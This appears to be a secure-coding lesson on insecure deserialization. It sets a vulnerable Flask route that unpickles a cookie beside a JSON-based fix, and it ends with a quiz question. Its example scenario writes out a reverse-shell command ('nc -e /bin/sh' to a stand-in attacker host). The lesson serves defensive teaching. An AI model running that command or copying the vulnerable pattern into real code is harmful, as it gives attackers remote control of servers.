When reading data turns into running code.
Serialization is the process of converting an in-memory object (like a User profile) into a flat string of bytes so it can be saved to a file or sent over a network. Deserialization is the reverse: taking bytes and turning them back into a live object.
The danger is that some serialization formats (like Python's `pickle`, Java Serialization, or PHP `unserialize`) don't just store data; they store instructions on how to rebuild the object, including which functions to run when the object is instantiated. If an attacker tampers with the serialized string, they can force the server to execute malicious commands during the rebuilding process.
To prevent this, you should entirely avoid formats that allow arbitrary object reconstruction. Stick to data-only formats like JSON or Protocol Buffers, which only store strings, numbers, and booleans.
# VULNERABLE: Python's Pickle
import pickle
import base64
@app.route("/profile")
def profile():
cookie = request.cookies.get('user_obj')
# DANGER: pickle.loads() will execute arbitrary __reduce__ methods!
user = pickle.loads(base64.b64decode(cookie))
return f"Welcome {user.name}"
# SECURE: Data-only formats (JSON)
import json
import base64
@app.route("/profile")
def profile():
cookie = request.cookies.get('user_obj')
# Safe: JSON only parses basic data types. It cannot execute methods.
user = json.loads(base64.b64decode(cookie))
return f"Welcome {user['name']}"
A multiplayer game server stores the player's current weapon and health in a saved state file using Python's `pickle`. A player modifies their save file, replacing the `Weapon` object with a custom class that overrides the `__reduce__` method to execute `os.system("nc -e /bin/sh hacker.com 4444")`. When the server loads the save file, `pickle.loads()` reconstructs the malicious object, immediately executing the shell command and giving the hacker a reverse shell into the game server.
If you absolutely must use an unsafe serialization format like Java Serialization or Python Pickle to send data between two of your own microservices, what is the best way to secure it?